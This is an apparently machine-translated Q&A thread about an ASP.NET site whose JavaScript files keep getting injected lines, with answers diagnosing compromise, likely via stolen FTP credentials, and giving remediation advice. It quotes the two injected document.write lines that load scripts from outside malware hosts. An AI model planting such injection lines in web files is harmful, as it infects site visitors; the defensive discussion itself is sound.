2009-11-22 2 views
1

이미 서버에 배포 된 JavaScript 파일에 추가 코드를 작성하는 방법이 있는지 알아야합니다.내 웹 사이트 페이지에 JavaScript 코드가 삽입되었습니다.

나는 ASP.NET 2.0 웹 사이트에 문제가 있으며 일부 페이지에있는 JavaScript 파일과 관련이 있습니다. 문제는 다른 파일과 함께 자바 스크립트 파일을 업로드 할 때 제대로 작동하지만 언젠가 (1 ~ 2 일) 자바 스크립트 파일이 변경되고 각각의 맨 아래에 두 개의 추가 행이 추가된다는 것입니다. 이 이러한 알 수없는 URL의 무언가를로드 할 수 내 aspx 페이지를 일으키는

document.write('<script src=http://kingsoftus.com/App_Code/tsx2.php ><\/script>'); 
document.write('<script src=http://eco-battery.co.uk/images/battguide.php ><\/script>'); 

: 그 두 줄이 있습니다. 이 문제는 오류를 일으키며 aspx 페이지가로드되지 않거나 오류가 발생합니다. 나는 서버에 뭔가 문제가 있다고 의심하지만 누군가 (바이러스 또는 해커)가이 두 줄을 서버의 JavaScript 파일에 추가 할 수있는 가능성이 있는지 알아야합니다.

답변

3

Saqib, 다른 포스터가 귀하의 서버가 손상되었음을 지적했습니다. 그가 맞아. 그는 어떻게 든 JavaScript를 페이지에 삽입 할 수 있습니다.

은 많은 가능성이 있습니다

  1. 사용자가 그것은 심지어 텍스트를 삽입 할 수 있도록 할 필요가 없습니다 텍스트 (텍스트 상자하는 드롭 다운리스트, 아무것도?)를 삽입 할 수있는 당신이 they can intercept the request 때문에, 어디 있습니까 양식 이외의 다른 곳에서 POST).
  2. properly encode everything이 데이터베이스에 전송됩니까?
  3. suffer from SQL injection에 문제가 있습니까?
  4. 최근에 비밀번호를 변경하셨습니까?
  5. 서버로 파일을 전송하는 데 FTP (and not SFTP)을 사용합니까?

위의 질문에 예라고 대답하면 잠재적 인 위험이 있습니다. 아니요, 문제는 입니다. 아마도은 ASP.NET 또는 IIS가 아닙니다. 아마 코드에 구멍이있을 것입니다.

+0

1 예가 많은 2 내가 할하지만 확실하지 않다 DB 3 관련이없는 이잖아 예 그것에 대해 3- 없음 내가 파일을 붙여 복사하는 핵심 FTP 라이트 및 FTP 사령관을 사용하고 5 그래서 어떻게 가는지. – saqib

10

귀하의 서버가 손상되었습니다. 추가 된 링크는 맬웨어 플래그가 지정된 사이트를 가리 킵니다. 가장 안전한 방법은 서버를 지우고 백업에서 복원하는 것입니다. 서버 유지 보수를 소유하지 않은 경우 최대한 빨리 수행하는 사람들에게 연락하여 감염 사실을 알리십시오. 사이트를 방문한 사람들을 감염시키지 않으려면 서버를 내려 놓으십시오.

감염의 원인에 관해서는 일부 연구가보고있는 서명에 대한 세부 사항을 제기 할 수 있습니다. 오래된 패치되지 않은 라이브러리부터 코드의 XSS 취약점, 감염된 플래시 드라이브가있는 부주의 한 직원에게 이르기까지 다양합니다.

편집 : 사용자는 서버를 관리하지 않는다고 말합니다. 공급자가 감염을 평가하는 동안 코드에 가능한 취약점이 있는지 평가하십시오. 다음은 (How To: Prevent Cross-Site Scripting in ASP.NET)으로 시작하는 MSDN 문서입니다. 오래된 SO 질문 (What should a developer know before building a public web site?)에는 보안 측면을 다루는 훌륭한 대답이 있습니다.

+1

정확히. 서버에 대한 쓰기 권한이있는 사용자가 추가 코드를 JS 파일에 추가 할 수 있습니다. 내가 너라면, 인터넷에서 최대한 빨리 꺼내어 누가 그걸 알아 냈는지 (그리고 어떻게), 구멍을 닫고 상자를 다시 포맷하는지 알아 내야한다. – ojrac

+0

@ George - 저는 이에 동의하며 귀하가 답변함에 따라 답변을 편집하고있었습니다. –

+0

@Michael Petrotta : 우수. 나는 사람들이 실제로 백업에서 서버를 단순히 복원하는 것이 모두를 치료한다고 제안하는 것을 보았습니다. 나는 그것이 당신이 가고있는 곳이라고 생각했습니다. –

1

보안을 망칠 수있는 방법은 백만 가지가 있습니다. 누군가가 ftp에 액세스 했습니까? 서버 관리자가 너와 속이고있어? 불안한 업로드/다운로드 스크립트, 공개적으로 쓸 수있는 디렉토리? 무분별하게 mauls 파일을 일부 엉터리 cronjob? 나는 모른다. 서버를 실행합니까?

모든 것을 백업하고, 모든 암호를 변경하고, 업/다운로드 스크립트가 안전한지 확인하고, 모든 것에 대한 사용 권한을 확인하거나, 다른 서버로 이동/복원하십시오. 실제로 이것은 마지막으로 할 일을 한 다음 나머지를 확인하십시오. 왜냐하면 이것이 "코드 레드"종류의 일이기 때문입니다.

편집 : 지금 적은 리눅스와

+0

ASP.NET은 chmod를 사용하지 않습니다. 당신은 바른 길을 가고 있지만 Windows 용어 ("스크립트 권한, 사용자 권한, 파일 권한")를 사용하고 싶을 수도 있습니다. –

+0

@George Stocker - 저의. 습관의 창조체. – Greg

+0

@ 그렉 : "코드 레드"란 무엇입니까? ftp로 wwwroot 폴더에만 액세스 할 수 있습니다. 나는 js 파일을 복원하면 모든 것이 정상적으로 처리된다는 것을 알아 냈습니다. 그러나 하루 만 남아 있습니다. 진행 방법을 모릅니다. – saqib

1

나는 XSS 및 SQL 주입 aganist 회로 텔레비전의 중요성에 대한 기존의 게시물에 동의합니다.

그러나이 경우 내 첫 번째 추측은 FTP 계정을 손상시킬 수 있습니다. 지금은 많은 부분이 있습니다. 트로이 목마는 클라이언트 컴퓨터를 감염시키고 저장된 계정에 저장된 FTP 암호를 도용하거나 로그인시에 사용합니다. 그런 다음 자동 도구가 도난당한 계정을 사용하여 서버에 로그인하고 파일을 변경하여 맬웨어 공격에 대한 링크 (종종 동일한 클라이언트 측 암호 도용 트로이 목마 설치)를 포함하도록 변경합니다.

따라서 서버와 응용 프로그램 코드가 안전한지 확인하려면 FTP 계정에 로그인하는 데 사용하는 컴퓨터가 모두 깨끗한 지 확인해야합니다. 한 가지 안티 바이러스 도구가 그렇게 생각하기 때문에 컴퓨터가 깨끗하지 못합니다. 요즘 AV는 엄청난 범위의 라이브 맬웨어를 탐지하는 데 절대적으로 필요하지 않으며, 악성 소프트웨어를 삭제하는 데 더 절실합니다. 여러 개의 AV 검사기 의견을 생각해보십시오. 시스템에 감염된 적이 있다면 OS에 감염되어 다시 설치됩니다. AV가 완전히 치료하지 않았기 때문입니다.

장기적으로는 개발 용 클라이언트 (플러그인 제거, 보안 설정 강화, 모든 인터넷 연결 소프트웨어가 최신 버전인지 확인) 및 SFTP를 사용하여 서버에 파일을 업로드하십시오. 아무도 FTP를 2009 년에 사용해서는 안됩니다.

관련 문제